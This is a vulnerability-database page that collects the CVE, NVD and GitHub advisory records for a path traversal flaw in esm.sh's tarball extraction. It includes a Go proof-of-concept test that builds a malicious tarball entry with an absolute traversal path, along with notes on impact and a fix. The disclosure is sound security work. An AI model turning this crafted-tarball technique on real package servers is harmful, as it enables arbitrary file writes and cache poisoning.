Vulnerability-Lookup

CVE-2026-23644 (GCVE-0-2026-23644)

Vulnerability from cvelistv5 – Published: 2026-01-18 22:49 – Updated: 2026-01-20 20:06

Title

esm.sh has path traversal in `extractPackageTarball` that enables file writes from malicious packages

Summary

esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. `path.Clean` normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue.

Severity

7.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-01-20 20:04 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/esm-dev/esm.sh/security/adviso…	x_refsource_CONFIRM
https://github.com/esm-dev/esm.sh/commit/9d77b88c…	x_refsource_MISC
https://github.com/esm-dev/esm.sh/commit/c62ab83c…	x_refsource_MISC
https://pkg.go.dev/vuln/GO-2025-4138	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
esm-dev	esm.sh	Affected: < 0.0.0-20260116051925-c62ab83c589e	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-23644

Vulnerability from fkie_nvd - Published: 2026-01-18 23:15 - Updated: 2026-06-17 10:21

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16	Patch
security-advisories@github.com	https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093	Patch
security-advisories@github.com	https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq	Vendor Advisory
security-advisories@github.com	https://pkg.go.dev/vuln/GO-2025-4138	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	esm	esm.sh	*

JSON

To clipboard

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    {
      "lang": "en",
      "value": "esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. `path.Clean` normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue."
    },
    {
      "lang": "es",
      "value": "esm.sh es una red de entrega de contenido (CDN) sin compilaci\u00f3n para desarrollo web. Antes de la pseudoversi\u00f3n Go 0.0.0-20260116051925-c62ab83c589e, el software tiene una vulnerabilidad de salto de ruta debido a una correcci\u00f3n incompleta. \u0027path.Clean\u0027 normaliza una ruta pero no evita rutas absolutas en un archivo tar malicioso. El commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, correspondiente a la pseudoversi\u00f3n 0.0.0-20260116051925-c62ab83c589e, soluciona este problema."
    }
  ],
  "id": "CVE-2026-23644",
  "lastModified": "2026-06-17T10:21:52.957",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-23644",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-01-20T20:04:08.412888Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-01-18T23:15:48.547",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://pkg.go.dev/vuln/GO-2025-4138"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-2657-3C98-63JQ

Vulnerability from github – Published: 2026-01-20 17:21 – Updated: 2026-02-27 22:06

Summary

esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages

Details

Summary

The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.

PoC

This test file can demonstrate the basic idea pretty easily:

package server

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "testing"
)

// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
    // Create a temporary directory for testing
    installDir := "./testdata/good"

    // Create a malicious tarball with path traversal
    var buf bytes.Buffer
    gw := gzip.NewWriter(&buf)
    tw := tar.NewWriter(gw)

    // Add a normal file
    content := []byte("export const foo = 'bar';")
    header := &tar.Header{
        Name:     "package/index.js",
        Mode:     0644,
        Size:     int64(len(content)),
        Typeflag: tar.TypeReg,
    }
    if err := tw.WriteHeader(header); err != nil {
        t.Fatal(err)
    }
    if _, err := tw.Write(content); err != nil {
        t.Fatal(err)
    }

    // Add a malicious file with path traversal
    bad := []byte("bad")
    header = &tar.Header{
        Name:     "/../../../bad/bad.txt",
        Mode:     0644,
        Size:     int64(len(bad)),
        Typeflag: tar.TypeReg,
    }
    if err := tw.WriteHeader(header); err != nil {
        t.Fatal(err)
    }
    if _, err := tw.Write(bad); err != nil {
        t.Fatal(err)
    }

    tw.Close()
    gw.Close()

    // Call extractPackageTarball with the malicious tarball
    if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
        t.Errorf("extractPackageTarball returned error: %v", err)
    }
}

Impact

It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.

Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear.

The limiting factors in the default setup that limit escalating this to code execution:

extractPackageTarball has a file-extension check which makes some more "obvious" escalations like overwriting binaries in /esm/bin (e.g. deno) impractical since it requires the target file to have an allowlisted extension.
Using the Dockerfile in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to /tmp and it's home directory.
The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.

Fix

Using os.Root seems like it will solve this issue and doesn't require new dependencies.

Severity

7.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.1"
            },
            {
              "last_affected": "136"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260116051925-c62ab83c589e"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23644"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T17:21:49Z",
    "nvd_published_at": "2026-01-18T23:15:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file.\n\n### PoC\n\nThis test file can demonstrate the basic idea pretty easily:\n\n```go\npackage server\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"testing\"\n)\n\n// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function\n// with a malicious tarball containing a path traversal attempt\nfunc TestExtractPackageTarball_PathTraversal(t *testing.T) {\n\t// Create a temporary directory for testing\n\tinstallDir := \"./testdata/good\"\n\n\t// Create a malicious tarball with path traversal\n\tvar buf bytes.Buffer\n\tgw := gzip.NewWriter(\u0026buf)\n\ttw := tar.NewWriter(gw)\n\n\t// Add a normal file\n\tcontent := []byte(\"export const foo = \u0027bar\u0027;\")\n\theader := \u0026tar.Header{\n\t\tName:     \"package/index.js\",\n\t\tMode:     0644,\n\t\tSize:     int64(len(content)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(content); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Add a malicious file with path traversal\n\tbad := []byte(\"bad\")\n\theader = \u0026tar.Header{\n\t\tName:     \"/../../../bad/bad.txt\",\n\t\tMode:     0644,\n\t\tSize:     int64(len(bad)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(bad); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\ttw.Close()\n\tgw.Close()\n\n\t// Call extractPackageTarball with the malicious tarball\n\tif err := extractPackageTarball(installDir, \"test-package\", bytes.NewReader(buf.Bytes())); err != nil {\n\t\tt.Errorf(\"extractPackageTarball returned error: %v\", err)\n\t}\n}\n```\n\n### Impact\n\nIt, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.\n\nArbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.\n\nThe limiting factors in the default setup that limit escalating this to code execution:\n\n - `extractPackageTarball` has a file-extension check which makes some more \"obvious\" escalations like overwriting binaries in `/esm/bin`  (e.g. `deno`) impractical since it requires the target file to have an allowlisted extension.\n - Using the `Dockerfile` in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to `/tmp` and it\u0027s home directory.\n - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.\n\n### Fix\n\nUsing [`os.Root`](https://go.dev/blog/osroot) seems like it will solve this issue and doesn\u0027t require new dependencies.",
  "id": "GHSA-2657-3c98-63jq",
  "modified": "2026-02-27T22:06:18Z",
  "published": "2026-01-20T17:21:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23644"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-4138"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4332"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-23644 (GCVE-0-2026-23644)

FKIE_CVE-2026-23644

GHSA-2657-3C98-63JQ

Summary

PoC

Impact

Fix

Tags

Sightings

Nomenclature

Related by attack behaviour